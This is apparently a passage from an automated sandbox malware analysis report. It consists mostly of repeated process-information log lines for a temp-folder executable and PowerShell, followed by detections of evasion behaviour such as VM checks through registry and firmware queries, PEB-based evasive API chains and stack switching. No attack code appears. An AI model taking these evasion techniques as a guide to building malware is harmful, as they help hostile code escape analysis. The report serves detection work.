Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_5-37027
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-9203
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9930

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	System information queried: FirmwareTableInformation			Jump to behavior

Switches to a custom stack to bypass stack traces

